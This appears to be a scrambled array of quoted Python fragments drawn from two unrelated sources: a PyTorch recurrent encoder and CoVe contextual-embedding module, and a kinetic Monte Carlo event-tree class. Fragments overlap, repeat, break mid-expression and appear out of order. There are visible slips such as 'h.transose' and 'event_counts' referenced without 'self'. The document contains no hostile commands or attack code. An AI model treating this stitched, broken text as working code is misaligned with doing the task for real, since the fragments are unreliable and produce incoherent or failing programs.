"= opt self.dropout = dropout self.cell_type = opt.get('{}_cell'.format(self.prefix), 'gru') self.weight_norm_on",
"prefix self.cell_type = self.opt.get('{}_cell'.format(self.prefix), 'lstm') self.emb_dim = self.opt.get('{}_embd_dim'.format(self.prefix), 0) self.maxout_on",
"self.training else self.eval_embed x_hiddens = emb(x_idx) lengths = x_mask.data.eq(0).long().sum(1) lens,",
"param) for name, param in state_dict.items() if '0' in name])",
"https://github.com/salesforce/cove #------------------------------ class ContextualEmbedV2(nn.Module): def __init__(self, model_path, padding_idx=0): super(ContextualEmbedV2, self).__init__()",
"= x_mask.data.eq(0).long().sum(1) lens, indices = torch.sort(lengths, 0, True) output1, _",
"<filename>model/src/recurrent.py import torch import torch.nn as nn from torch.nn.parameter import",
"if self.maxout_on else hidden_size * 2 self.hidden_size = hidden_size self.rnn",
"2, shape[1], shape[3]).transpose(1,2).contiguous() h = h.view(self.num_layers, shape[1], 2 * shape[3])",
"lens.tolist(), batch_first=True)) output2, _ = self.rnn2(output1) output1 = unpack(output1, batch_first=True)[0]",
"= torch.sort(indices, 0) output1 = output1[_indices] output2 = output2[_indices] return",
"self.rnn2 = nn.LSTM(600, 300, num_layers=1, bidirectional=True) state_dict1 = dict([(name, param.data)",
"def __init__(self, input_size, hidden_size, prefix='rnn', opt={}, dropout=None): super(BRNNEncoder, self).__init__() self.opt",
"for name, param in state_dict.items() if '0' in name]) state_dict2",
"self.opt.get('{}_cell'.format(self.prefix), 'lstm') self.emb_dim = self.opt.get('{}_embd_dim'.format(self.prefix), 0) self.maxout_on = self.opt.get('{}_maxout_on'.format(self.prefix), False)",
"\"\"\"A pretrained MT-LSTM (McCann et. al. 2017). \"\"\" lengths =",
"False) self.dropout = dropout self.output_size = hidden_size if self.maxout_on else",
"if '0' in name]) state_dict2 = dict([(name.replace('1', '0'), param.data) if",
"x_mask): \"\"\"A pretrained MT-LSTM (McCann et. al. 2017). \"\"\" lengths",
"remove packing to speed up # Credit from: https://github.com/salesforce/cove #------------------------------",
"= RNN_MAP[self.cell_type](input_size, hidden_size, self.num_layers, bidirectional=True) if self.weight_norm_on: self.rnn = WN(self.rnn)",
"state_dict = torch.load(model_path) self.rnn1 = nn.LSTM(300, 300, num_layers=1, bidirectional=True) self.rnn2",
"in name]) state_dict2 = dict([(name.replace('1', '0'), param.data) if isinstance(param, Parameter)",
"x, x_mask): x = x.transpose(0, 1) size = list(x.size()) rnn_output,",
"2 def forward(self, x, x_mask): x = self.dropout(x) _, h",
"= nn.Embedding(vocab_size, emb_dim, padding_idx=padding_idx) if embedding is not None: self.embedding.weight.data",
"# Transpose back hiddens = rnn_output.transpose(0, 1) return hiddens class",
"_ = self.rnn1(pack(x_hiddens[indices], lens.tolist(), batch_first=True)) output2, _ = self.rnn2(output1) output1",
"input_size, hidden_size, prefix='rnn', opt={}, dropout=None): super(BRNNEncoder, self).__init__() self.opt = opt",
"rnn_output = rnn_output.view(size[0], size[1], self.hidden_size, 2).max(-1)[0] # Transpose back hiddens",
"embedding is not None: self.embedding.weight.data = embedding state_dict = torch.load(path)",
"num_layers=1, bidirectional=True) state_dict1 = dict([(name, param.data) if isinstance(param, Parameter) else",
"self.output_size = 600 def setup_eval_embed(self, eval_embed, padding_idx=0): self.eval_embed = nn.Embedding(eval_embed.size(0),",
"from .my_optim import weight_norm as WN # TODO: use system",
"(name, param) for name, param in state_dict.items() if '0' in",
"= opt.get('{}_weight_norm_on'.format(self.prefix), False) self.top_layer_only = opt.get('{}_top_layer_only'.format(self.prefix), False) self.num_layers = opt.get('{}_num_layers'.format(self.prefix),",
"1).contiguous()) if self.cell_type == 'lstm': h = h[0] shape =",
"self.weight_norm_on: self.rnn = WN(self.rnn) if self.top_layer_only: self.output_size = hidden_size *",
"0) output1 = output1[_indices] output2 = output2[_indices] return output1, output2",
"= self.rnn2(output1) output1 = unpack(output1, batch_first=True)[0] output2 = unpack(output2, batch_first=True)[0]",
"pack_padded_sequence as pack from .my_optim import weight_norm as WN #",
"300, num_layers=1, bidirectional=True) self.rnn2 = nn.LSTM(600, 300, num_layers=1, bidirectional=True) state_dict1",
"False def forward(self, x_idx, x_mask): emb = self.embedding if self.training",
"'lstm': h = h[0] shape = h.size() h = h.view(self.num_layers,",
"= self.opt.get('{}_cell'.format(self.prefix), 'lstm') self.emb_dim = self.opt.get('{}_embd_dim'.format(self.prefix), 0) self.maxout_on = self.opt.get('{}_maxout_on'.format(self.prefix),",
"_indices = torch.sort(indices, 0) output1 = output1[_indices] output2 = output2[_indices]",
"name, param in state_dict.items() if '0' in name]) state_dict2 =",
"def forward(self, x, x_mask): \"\"\"A pretrained MT-LSTM (McCann et. al.",
"eval_embed, padding_idx=0): self.eval_embed = nn.Embedding(eval_embed.size(0), eval_embed.size(1), padding_idx = padding_idx) self.eval_embed.weight.data",
"x_mask): x = x.transpose(0, 1) size = list(x.size()) rnn_output, h",
"output2[_indices] return output1, output2 class ContextualEmbed(nn.Module): def __init__(self, path, vocab_size,",
"-1) #------------------------------ # Contextual embedding # TODO: remove packing to",
"self).__init__() self.opt = opt self.prefix = prefix self.cell_type = self.opt.get('{}_cell'.format(self.prefix),",
"Credit from: https://github.com/salesforce/cove #------------------------------ class ContextualEmbedV2(nn.Module): def __init__(self, model_path, padding_idx=0):",
"hidden_size * 2 def forward(self, x, x_mask): x = self.dropout(x)",
"output1 = unpack(output1, batch_first=True)[0] output2 = unpack(output2, batch_first=True)[0] _, _indices",
"pad_packed_sequence as unpack from torch.nn.utils.rnn import pack_padded_sequence as pack from",
"output1, _ = self.rnn1(pack(x[indices], lens.tolist(), batch_first=True)) output2, _ = self.rnn2(output1)",
"if self.top_layer_only: self.output_size = hidden_size * 2 else: self.output_size =",
"self).__init__() self.embedding = nn.Embedding(vocab_size, emb_dim, padding_idx=padding_idx) if embedding is not",
"isinstance(param, Parameter) else (name, param) for name, param in state_dict.items()",
"1) return hiddens class BRNNEncoder(nn.Module): def __init__(self, input_size, hidden_size, prefix='rnn',",
"nn.LSTM, 'gru': nn.GRU, 'rnn': nn.RNN} class OneLayerBRNN(nn.Module): def __init__(self, input_size,",
"self.embedding = nn.Embedding(vocab_size, emb_dim, padding_idx=padding_idx) if embedding is not None:",
"hidden_size, prefix='rnn', opt={}, dropout=None): super(BRNNEncoder, self).__init__() self.opt = opt self.dropout",
"dropout self.output_size = hidden_size if self.maxout_on else hidden_size * 2",
"self.rnn2(output1) output1 = unpack(output1, batch_first=True)[0] output2 = unpack(output2, batch_first=True)[0] _,",
"shape[1], 2 * shape[3]) if self.top_layer_only: return h[-1] else: return",
"__init__(self, model_path, padding_idx=0): super(ContextualEmbedV2, self).__init__() state_dict = torch.load(model_path) self.rnn1 =",
"padding_idx=0): self.eval_embed = nn.Embedding(eval_embed.size(0), eval_embed.size(1), padding_idx = padding_idx) self.eval_embed.weight.data =",
"in self.eval_embed.parameters(): p.requires_grad = False def forward(self, x_idx, x_mask): emb",
"else (name, param) for name, param in state_dict.items() if '0'",
"opt.get('{}_weight_norm_on'.format(self.prefix), False) self.top_layer_only = opt.get('{}_top_layer_only'.format(self.prefix), False) self.num_layers = opt.get('{}_num_layers'.format(self.prefix), 1)",
"__init__(self, path, vocab_size, emb_dim=300, embedding=None, padding_idx=0): super(ContextualEmbed, self).__init__() self.embedding =",
"{'lstm': nn.LSTM, 'gru': nn.GRU, 'rnn': nn.RNN} class OneLayerBRNN(nn.Module): def __init__(self,",
"self.top_layer_only: self.output_size = hidden_size * 2 else: self.output_size = self.num_layers",
"h.view(self.num_layers, shape[1], 2 * shape[3]) if self.top_layer_only: return h[-1] else:",
"hidden_size self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, num_layers=1, bidirectional=True) def forward(self, x,",
"emb(x_idx) lengths = x_mask.data.eq(0).long().sum(1) lens, indices = torch.sort(lengths, 0, True)",
"as nn from torch.nn.parameter import Parameter from torch.nn.utils.rnn import pad_packed_sequence",
"torch.sort(lengths, 0, True) output1, _ = self.rnn1(pack(x_hiddens[indices], lens.tolist(), batch_first=True)) output2,",
"hidden_size if self.maxout_on else hidden_size * 2 self.hidden_size = hidden_size",
"if self.weight_norm_on: self.rnn = WN(self.rnn) if self.top_layer_only: self.output_size = hidden_size",
"use system func to bind ~ RNN_MAP = {'lstm': nn.LSTM,",
"self.output_size = hidden_size if self.maxout_on else hidden_size * 2 self.hidden_size",
"if embedding is not None: self.embedding.weight.data = embedding state_dict =",
"prefix='stack_rnn', opt={}, dropout=None): super(OneLayerBRNN, self).__init__() self.opt = opt self.prefix =",
"= torch.sort(lengths, 0, True) output1, _ = self.rnn1(pack(x[indices], lens.tolist(), batch_first=True))",
"state_dict.items() if '0' in name]) state_dict2 = dict([(name.replace('1', '0'), param.data)",
"pack from .my_optim import weight_norm as WN # TODO: use",
"output2, _ = self.rnn2(output1) output1 = unpack(output1, batch_first=True)[0] output2 =",
"x = self.dropout(x) _, h = self.rnn(x.transpose(0, 1).contiguous()) if self.cell_type",
"torch.load(path) self.rnn1 = nn.LSTM(300, 300, num_layers=1, bidirectional=True) self.rnn2 = nn.LSTM(600,",
"return hiddens class BRNNEncoder(nn.Module): def __init__(self, input_size, hidden_size, prefix='rnn', opt={},",
"self.maxout_on: rnn_output = rnn_output.view(size[0], size[1], self.hidden_size, 2).max(-1)[0] # Transpose back",
"back hiddens = rnn_output.transpose(0, 1) return hiddens class BRNNEncoder(nn.Module): def",
"lengths = x_mask.data.eq(0).long().sum(1) lens, indices = torch.sort(lengths, 0, True) output1,",
"to speed up # Credit from: https://github.com/salesforce/cove #------------------------------ class ContextualEmbedV2(nn.Module):",
"output2 = output2[_indices] return output1, output2 class ContextualEmbed(nn.Module): def __init__(self,",
"x_mask.data.eq(0).long().sum(1).squeeze() lens, indices = torch.sort(lengths, 0, True) output1, _ =",
"#------------------------------ # Contextual embedding # TODO: remove packing to speed",
"def forward(self, x, x_mask): x = self.dropout(x) _, h =",
"self.parameters(): p.requires_grad = False self.output_size = 600 self.output_size = 600",
"'gru': nn.GRU, 'rnn': nn.RNN} class OneLayerBRNN(nn.Module): def __init__(self, input_size, hidden_size,",
"param in state_dict.items() if '1' in name]) self.rnn1.load_state_dict(state_dict1) self.rnn2.load_state_dict(state_dict2) for",
"for p in self.eval_embed.parameters(): p.requires_grad = False def forward(self, x_idx,",
"x, x_mask): \"\"\"A pretrained MT-LSTM (McCann et. al. 2017). \"\"\"",
"for name, param in state_dict.items() if '1' in name]) self.rnn1.load_state_dict(state_dict1)",
"if '1' in name]) self.rnn1.load_state_dict(state_dict1) self.rnn2.load_state_dict(state_dict2) for p in self.parameters():",
"= dropout self.output_size = hidden_size if self.maxout_on else hidden_size *",
"self.output_size = 600 def setup_eval_embed(self, eval_embed, padding_idx=0): pass def forward(self,",
"self.rnn(x.transpose(0, 1).contiguous()) if self.cell_type == 'lstm': h = h[0] shape",
"h = h.view(self.num_layers, shape[1], 2 * shape[3]) if self.top_layer_only: return",
"self.hidden_size = hidden_size self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, num_layers=1, bidirectional=True) def",
"rnn_output.view(size[0], size[1], self.hidden_size, 2).max(-1)[0] # Transpose back hiddens = rnn_output.transpose(0,",
"for p in self.parameters(): p.requires_grad = False self.output_size = 600",
"False self.output_size = 600 self.output_size = 600 def setup_eval_embed(self, eval_embed,",
"eval_embed, padding_idx=0): pass def forward(self, x, x_mask): \"\"\"A pretrained MT-LSTM",
"lens, indices = torch.sort(lengths, 0, True) output1, _ = self.rnn1(pack(x[indices],",
"self.rnn1.load_state_dict(state_dict1) self.rnn2.load_state_dict(state_dict2) for p in self.parameters(): p.requires_grad = False self.output_size",
"else: self.output_size = self.num_layers * hidden_size * 2 def forward(self,",
"h = h.view(self.num_layers, 2, shape[1], shape[3]).transpose(1,2).contiguous() h = h.view(self.num_layers, shape[1],",
"shape[3]) if self.top_layer_only: return h[-1] else: return h.transose(0, 1).contiguous().view(x.size(0), -1)",
"= False def forward(self, x_idx, x_mask): emb = self.embedding if",
"torch.nn as nn from torch.nn.parameter import Parameter from torch.nn.utils.rnn import",
"nn.LSTM(300, 300, num_layers=1, bidirectional=True) self.rnn2 = nn.LSTM(600, 300, num_layers=1, bidirectional=True)",
"\"\"\" lengths = x_mask.data.eq(0).long().sum(1).squeeze() lens, indices = torch.sort(lengths, 0, True)",
"def __init__(self, path, vocab_size, emb_dim=300, embedding=None, padding_idx=0): super(ContextualEmbed, self).__init__() self.embedding",
"x_idx, x_mask): emb = self.embedding if self.training else self.eval_embed x_hiddens",
"= self.opt.get('{}_maxout_on'.format(self.prefix), False) self.weight_norm_on = self.opt.get('{}_weight_norm_on'.format(self.prefix), False) self.dropout = dropout",
"x.transpose(0, 1) size = list(x.size()) rnn_output, h = self.rnn(x) if",
"self.num_layers = opt.get('{}_num_layers'.format(self.prefix), 1) self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, self.num_layers, bidirectional=True)",
"= dropout self.cell_type = opt.get('{}_cell'.format(self.prefix), 'gru') self.weight_norm_on = opt.get('{}_weight_norm_on'.format(self.prefix), False)",
"not None: self.embedding.weight.data = embedding state_dict = torch.load(path) self.rnn1 =",
"self.embedding if self.training else self.eval_embed x_hiddens = emb(x_idx) lengths =",
"indices = torch.sort(lengths, 0, True) output1, _ = self.rnn1(pack(x[indices], lens.tolist(),",
"= padding_idx) self.eval_embed.weight.data = eval_embed for p in self.eval_embed.parameters(): p.requires_grad",
"True) output1, _ = self.rnn1(pack(x_hiddens[indices], lens.tolist(), batch_first=True)) output2, _ =",
"Contextual embedding # TODO: remove packing to speed up #",
"self.eval_embed = nn.Embedding(eval_embed.size(0), eval_embed.size(1), padding_idx = padding_idx) self.eval_embed.weight.data = eval_embed",
"num_layers=1, bidirectional=True) self.rnn2 = nn.LSTM(600, 300, num_layers=1, bidirectional=True) state_dict1 =",
"class BRNNEncoder(nn.Module): def __init__(self, input_size, hidden_size, prefix='rnn', opt={}, dropout=None): super(BRNNEncoder,",
"_, h = self.rnn(x.transpose(0, 1).contiguous()) if self.cell_type == 'lstm': h",
"= 600 def setup_eval_embed(self, eval_embed, padding_idx=0): self.eval_embed = nn.Embedding(eval_embed.size(0), eval_embed.size(1),",
"= h.size() h = h.view(self.num_layers, 2, shape[1], shape[3]).transpose(1,2).contiguous() h =",
"* 2 else: self.output_size = self.num_layers * hidden_size * 2",
"= h[0] shape = h.size() h = h.view(self.num_layers, 2, shape[1],",
"= {'lstm': nn.LSTM, 'gru': nn.GRU, 'rnn': nn.RNN} class OneLayerBRNN(nn.Module): def",
"'0'), param.data) if isinstance(param, Parameter) else (name.replace('1', '0'), param) for",
"h = self.rnn(x.transpose(0, 1).contiguous()) if self.cell_type == 'lstm': h =",
"p in self.parameters(): p.requires_grad = False self.output_size = 600 self.output_size",
"= opt.get('{}_cell'.format(self.prefix), 'gru') self.weight_norm_on = opt.get('{}_weight_norm_on'.format(self.prefix), False) self.top_layer_only = opt.get('{}_top_layer_only'.format(self.prefix),",
"= hidden_size self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, num_layers=1, bidirectional=True) def forward(self,",
"= embedding state_dict = torch.load(path) self.rnn1 = nn.LSTM(300, 300, num_layers=1,",
"nn.RNN} class OneLayerBRNN(nn.Module): def __init__(self, input_size, hidden_size, prefix='stack_rnn', opt={}, dropout=None):",
"= list(x.size()) rnn_output, h = self.rnn(x) if self.maxout_on: rnn_output =",
"# TODO: use system func to bind ~ RNN_MAP =",
"dropout=None): super(OneLayerBRNN, self).__init__() self.opt = opt self.prefix = prefix self.cell_type",
"# Credit from: https://github.com/salesforce/cove #------------------------------ class ContextualEmbedV2(nn.Module): def __init__(self, model_path,",
"def __init__(self, input_size, hidden_size, prefix='stack_rnn', opt={}, dropout=None): super(OneLayerBRNN, self).__init__() self.opt",
"opt.get('{}_top_layer_only'.format(self.prefix), False) self.num_layers = opt.get('{}_num_layers'.format(self.prefix), 1) self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size,",
"self.num_layers * hidden_size * 2 def forward(self, x, x_mask): x",
"h = self.rnn(x) if self.maxout_on: rnn_output = rnn_output.view(size[0], size[1], self.hidden_size,",
"self.dropout = dropout self.output_size = hidden_size if self.maxout_on else hidden_size",
"2 self.hidden_size = hidden_size self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, num_layers=1, bidirectional=True)",
"import pad_packed_sequence as unpack from torch.nn.utils.rnn import pack_padded_sequence as pack",
"self.weight_norm_on = self.opt.get('{}_weight_norm_on'.format(self.prefix), False) self.dropout = dropout self.output_size = hidden_size",
"shape[3]).transpose(1,2).contiguous() h = h.view(self.num_layers, shape[1], 2 * shape[3]) if self.top_layer_only:",
"padding_idx) self.eval_embed.weight.data = eval_embed for p in self.eval_embed.parameters(): p.requires_grad =",
"prefix='rnn', opt={}, dropout=None): super(BRNNEncoder, self).__init__() self.opt = opt self.dropout =",
"h[0] shape = h.size() h = h.view(self.num_layers, 2, shape[1], shape[3]).transpose(1,2).contiguous()",
"to bind ~ RNN_MAP = {'lstm': nn.LSTM, 'gru': nn.GRU, 'rnn':",
"super(ContextualEmbedV2, self).__init__() state_dict = torch.load(model_path) self.rnn1 = nn.LSTM(300, 300, num_layers=1,",
"self.opt.get('{}_maxout_on'.format(self.prefix), False) self.weight_norm_on = self.opt.get('{}_weight_norm_on'.format(self.prefix), False) self.dropout = dropout self.output_size",
"hidden_size * 2 else: self.output_size = self.num_layers * hidden_size *",
"self.output_size = hidden_size * 2 else: self.output_size = self.num_layers *",
"def setup_eval_embed(self, eval_embed, padding_idx=0): self.eval_embed = nn.Embedding(eval_embed.size(0), eval_embed.size(1), padding_idx =",
"self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, self.num_layers, bidirectional=True) if self.weight_norm_on: self.rnn =",
"opt.get('{}_cell'.format(self.prefix), 'gru') self.weight_norm_on = opt.get('{}_weight_norm_on'.format(self.prefix), False) self.top_layer_only = opt.get('{}_top_layer_only'.format(self.prefix), False)",
"packing to speed up # Credit from: https://github.com/salesforce/cove #------------------------------ class",
"__init__(self, input_size, hidden_size, prefix='rnn', opt={}, dropout=None): super(BRNNEncoder, self).__init__() self.opt =",
"'rnn': nn.RNN} class OneLayerBRNN(nn.Module): def __init__(self, input_size, hidden_size, prefix='stack_rnn', opt={},",
"= unpack(output1, batch_first=True)[0] output2 = unpack(output2, batch_first=True)[0] _, _indices =",
"p in self.eval_embed.parameters(): p.requires_grad = False def forward(self, x_idx, x_mask):",
"if self.cell_type == 'lstm': h = h[0] shape = h.size()",
"torch.nn.utils.rnn import pack_padded_sequence as pack from .my_optim import weight_norm as",
"weight_norm as WN # TODO: use system func to bind",
"torch.sort(lengths, 0, True) output1, _ = self.rnn1(pack(x[indices], lens.tolist(), batch_first=True)) output2,",
"self.dropout(x) _, h = self.rnn(x.transpose(0, 1).contiguous()) if self.cell_type == 'lstm':",
"p.requires_grad = False def forward(self, x_idx, x_mask): emb = self.embedding",
"False) self.num_layers = opt.get('{}_num_layers'.format(self.prefix), 1) self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, self.num_layers,",
"self.opt = opt self.prefix = prefix self.cell_type = self.opt.get('{}_cell'.format(self.prefix), 'lstm')",
"torch.nn.parameter import Parameter from torch.nn.utils.rnn import pad_packed_sequence as unpack from",
"opt={}, dropout=None): super(OneLayerBRNN, self).__init__() self.opt = opt self.prefix = prefix",
"vocab_size, emb_dim=300, embedding=None, padding_idx=0): super(ContextualEmbed, self).__init__() self.embedding = nn.Embedding(vocab_size, emb_dim,",
"hiddens = rnn_output.transpose(0, 1) return hiddens class BRNNEncoder(nn.Module): def __init__(self,",
"super(OneLayerBRNN, self).__init__() self.opt = opt self.prefix = prefix self.cell_type =",
"= opt.get('{}_top_layer_only'.format(self.prefix), False) self.num_layers = opt.get('{}_num_layers'.format(self.prefix), 1) self.rnn = RNN_MAP[self.cell_type](input_size,",
"in state_dict.items() if '0' in name]) state_dict2 = dict([(name.replace('1', '0'),",
"p.requires_grad = False self.output_size = 600 def setup_eval_embed(self, eval_embed, padding_idx=0):",
"1) self.rnn = RNN_MAP[self.cell_type](input_size, hidden_size, self.num_layers, bidirectional=True) if self.weight_norm_on: self.rnn",
"self.prefix = prefix self.cell_type = self.opt.get('{}_cell'.format(self.prefix), 'lstm') self.emb_dim = self.opt.get('{}_embd_dim'.format(self.prefix),",
"RNN_MAP[self.cell_type](input_size, hidden_size, self.num_layers, bidirectional=True) if self.weight_norm_on: self.rnn = WN(self.rnn) if",
"eval_embed for p in self.eval_embed.parameters(): p.requires_grad = False def forward(self,",
"self.top_layer_only: return h[-1] else: return h.transose(0, 1).contiguous().view(x.size(0), -1) #------------------------------ #",
"= torch.load(path) self.rnn1 = nn.LSTM(300, 300, num_layers=1, bidirectional=True) self.rnn2 =",
"nn.GRU, 'rnn': nn.RNN} class OneLayerBRNN(nn.Module): def __init__(self, input_size, hidden_size, prefix='stack_rnn',",
"self.emb_dim = self.opt.get('{}_embd_dim'.format(self.prefix), 0) self.maxout_on = self.opt.get('{}_maxout_on'.format(self.prefix), False) self.weight_norm_on =",
"self.maxout_on = self.opt.get('{}_maxout_on'.format(self.prefix), False) self.weight_norm_on = self.opt.get('{}_weight_norm_on'.format(self.prefix), False) self.dropout ="
] |
[
"self.events: self.event_counts[e['type']].append(e) e_ratio = [e_counts.get(t, 0)*r for t, r in",
"child value left = self.event_tree[k][j] if q < left: j",
"else: q -= left j = 2*j + 1 #",
"[] # create event ratio array level 0 - bottom",
"1: e_ratio.extend([0.0]) self.event_tree.append(np.array(e_ratio)) # create top level = sum of",
"self.event_counts = [[] for _ in range(len(self.rates))] for e in",
"with top-level child (k-2) end with level above bottom (1)",
"if len(e_ratio) % 2 == 1: e_ratio.extend([0.0]) self.event_tree.append(np.array(e_ratio)) # create",
"t, r in enumerate(self.rates)] print('e_ratio', e_ratio) self.__build_tree(e_ratio) def update_events(self, old_events,",
"a list of events based on event types self.event_counts =",
"new events \"\"\" pass def find_event(self): \"\"\"Find and return an",
"above bottom (1) j = 0 for k in range(len(self.event_tree)-2,",
"# Description: # import numpy as np from collections import",
"up to the 2nd highest level while len(e_ratio) > 2:",
"level = sum of all rates self.event_tree.append(np.array(sum(e_ratio))) def __setup(self): #",
"event types self.event_counts = [[] for _ in range(len(self.rates))] for",
"a binary tree for random event type lookup and arrays",
"rates self.event_tree.append(np.array(sum(e_ratio))) def __setup(self): # Get dictionary of event type",
"0)*r for t, r in enumerate(self.rates)] print('e_ratio', e_ratio) self.__build_tree(e_ratio) def",
"print('e_ratio', e_ratio) self.__build_tree(e_ratio) def update_events(self, old_events, new_events): \"\"\" Update tree:",
"if q < left: j = 2*j else: q -=",
"print(e_counts) # create a list of events based on event",
"2*j + 1 # bottom level - return selected event",
"a random event index of a given type event_number =",
"random event index of a given type event_number = np.random.randint(len(self.event_counts[event_type]))",
"<NAME> # # Description: # import numpy as np from",
"# import numpy as np from collections import Counter class",
"else: event_type = self.events[j+1] # select a random event index",
"self.rates = rates self.events = events self.__setup() def __build_tree(self, e_ratio):",
"% 2 == 1: e_ratio.extend([0.0]) self.event_tree.append(np.array(e_ratio)) # create top level",
"highest level while len(e_ratio) > 2: e_ratio = [e_ratio[i]+e_ratio[i+1] for",
"child (k-2) end with level above bottom (1) j =",
"event type counts e_counts = Counter([e['type'] for e in self.events])",
"enumerate(self.rates)] print('e_ratio', e_ratio) self.__build_tree(e_ratio) def update_events(self, old_events, new_events): \"\"\" Update",
"(rates*numbers) self.event_tree.append(np.array(e_ratio)) # create partial summs (iteratively) up to the",
"in range(len(self.rates))] for e in self.events: self.event_counts[e['type']].append(e) e_ratio = [e_counts.get(t,",
"def update_events(self, old_events, new_events): \"\"\" Update tree: remove old events",
"# # File name: kmc_pld.py # Date: 2018/08/03 09:07 #",
"1: e_ratio.extend([0.0]) # create the bottom level (rates*numbers) self.event_tree.append(np.array(e_ratio)) #",
"j = 2*j else: q -= left j = 2*j",
"i in range(0, len(e_ratio), 2)] if len(e_ratio) % 2 ==",
"self.event_tree.append(np.array(sum(e_ratio))) def __setup(self): # Get dictionary of event type counts",
"events \"\"\" pass def find_event(self): \"\"\"Find and return an event\"\"\"",
"if q < self.event_tree[0][j]: event_type = self.events[j] else: event_type =",
"# create the bottom level (rates*numbers) self.event_tree.append(np.array(e_ratio)) # create partial",
"self.event_tree[k][j] if q < left: j = 2*j else: q",
"= [e_ratio[i]+e_ratio[i+1] for i in range(0, len(e_ratio), 2)] if len(e_ratio)",
"old_events, new_events): \"\"\" Update tree: remove old events and add",
"left = self.event_tree[k][j] if q < left: j = 2*j",
"q -= left j = 2*j + 1 # bottom",
"Description: # import numpy as np from collections import Counter",
"j = 2*j + 1 # bottom level - return",
"of event type counts e_counts = Counter([e['type'] for e in",
"in self.events: self.event_counts[e['type']].append(e) e_ratio = [e_counts.get(t, 0)*r for t, r",
"left child value left = self.event_tree[k][j] if q < left:",
"name: kmc_pld.py # Date: 2018/08/03 09:07 # Author: <NAME> #",
"def __setup(self): # Get dictionary of event type counts e_counts",
"selected event type if q < self.event_tree[0][j]: event_type = self.events[j]",
"Counter([e['type'] for e in self.events]) print(e_counts) # create a list",
"# left child value left = self.event_tree[k][j] if q <",
"events self.__setup() def __build_tree(self, e_ratio): self.event_tree = [] # create",
"= self.Rs*np.random.random() # cycle through levels (top->down) # start with",
"= np.random.randint(len(self.event_counts[event_type])) # get the event object event = event_counts[event_type][event_number]",
"2 == 1: e_ratio.extend([0.0]) # create the bottom level (rates*numbers)",
"generate a random number [0,Rs) q = self.Rs*np.random.random() # cycle",
"event_type = self.events[j] else: event_type = self.events[j+1] # select a",
"r in enumerate(self.rates)] print('e_ratio', e_ratio) self.__build_tree(e_ratio) def update_events(self, old_events, new_events):",
"File name: kmc_pld.py # Date: 2018/08/03 09:07 # Author: <NAME>",
"\"\"\"Find and return an event\"\"\" # generate a random number",
"and return an event\"\"\" # generate a random number [0,Rs)",
"numpy as np from collections import Counter class EventTree: \"\"\"",
"based on event types self.event_counts = [[] for _ in",
"len(e_ratio), 2)] if len(e_ratio) % 2 == 1: e_ratio.extend([0.0]) self.event_tree.append(np.array(e_ratio))",
"e_counts = Counter([e['type'] for e in self.events]) print(e_counts) # create",
"# # Description: # import numpy as np from collections",
"events based on event types self.event_counts = [[] for _",
"return selected event type if q < self.event_tree[0][j]: event_type =",
"dictionary of event type counts e_counts = Counter([e['type'] for e",
"range(len(self.event_tree)-2, 0, -1): # left child value left = self.event_tree[k][j]",
"j = 0 for k in range(len(self.event_tree)-2, 0, -1): #",
"a given type event_number = np.random.randint(len(self.event_counts[event_type])) # get the event",
"for choosing specific event. \"\"\" def __init__(self, rates, events): self.rates",
"add new events \"\"\" pass def find_event(self): \"\"\"Find and return",
"[0,Rs) q = self.Rs*np.random.random() # cycle through levels (top->down) #",
"tree for random event type lookup and arrays for choosing",
"ratio array level 0 - bottom if len(e_ratio) % 2",
"level while len(e_ratio) > 2: e_ratio = [e_ratio[i]+e_ratio[i+1] for i",
"= sum of all rates self.event_tree.append(np.array(sum(e_ratio))) def __setup(self): # Get",
"maintaining a binary tree for random event type lookup and",
"list of events based on event types self.event_counts = [[]",
"specific event. \"\"\" def __init__(self, rates, events): self.rates = rates",
"self.events = events self.__setup() def __build_tree(self, e_ratio): self.event_tree = []",
"array level 0 - bottom if len(e_ratio) % 2 ==",
"the 2nd highest level while len(e_ratio) > 2: e_ratio =",
"in range(0, len(e_ratio), 2)] if len(e_ratio) % 2 == 1:",
"_ in range(len(self.rates))] for e in self.events: self.event_counts[e['type']].append(e) e_ratio =",
"(k-2) end with level above bottom (1) j = 0",
"self.event_tree[0][j]: event_type = self.events[j] else: event_type = self.events[j+1] # select",
"self.event_tree = [] # create event ratio array level 0",
"of events based on event types self.event_counts = [[] for",
"self.events[j] else: event_type = self.events[j+1] # select a random event",
"# start with top-level child (k-2) end with level above",
"Class maintaining a binary tree for random event type lookup",
"self.events[j+1] # select a random event index of a given",
"number [0,Rs) q = self.Rs*np.random.random() # cycle through levels (top->down)",
"return an event\"\"\" # generate a random number [0,Rs) q",
"level (rates*numbers) self.event_tree.append(np.array(e_ratio)) # create partial summs (iteratively) up to",
"[e_ratio[i]+e_ratio[i+1] for i in range(0, len(e_ratio), 2)] if len(e_ratio) %",
"event. \"\"\" def __init__(self, rates, events): self.rates = rates self.events",
"choosing specific event. \"\"\" def __init__(self, rates, events): self.rates =",
"# cycle through levels (top->down) # start with top-level child",
"of all rates self.event_tree.append(np.array(sum(e_ratio))) def __setup(self): # Get dictionary of",
"levels (top->down) # start with top-level child (k-2) end with",
"== 1: e_ratio.extend([0.0]) self.event_tree.append(np.array(e_ratio)) # create top level = sum",
"a random number [0,Rs) q = self.Rs*np.random.random() # cycle through",
"q = self.Rs*np.random.random() # cycle through levels (top->down) # start",
"partial summs (iteratively) up to the 2nd highest level while",
"self.events]) print(e_counts) # create a list of events based on",
"\"\"\" Update tree: remove old events and add new events",
"-= left j = 2*j + 1 # bottom level",
"types self.event_counts = [[] for _ in range(len(self.rates))] for e",
"# Get dictionary of event type counts e_counts = Counter([e['type']",
"def find_event(self): \"\"\"Find and return an event\"\"\" # generate a",
"collections import Counter class EventTree: \"\"\" Class maintaining a binary",
"an event\"\"\" # generate a random number [0,Rs) q =",
"type if q < self.event_tree[0][j]: event_type = self.events[j] else: event_type",
"as np from collections import Counter class EventTree: \"\"\" Class",
"self.event_tree.append(np.array(e_ratio)) # create top level = sum of all rates",
"# File name: kmc_pld.py # Date: 2018/08/03 09:07 # Author:",
"create partial summs (iteratively) up to the 2nd highest level",
"> 2: e_ratio = [e_ratio[i]+e_ratio[i+1] for i in range(0, len(e_ratio),",
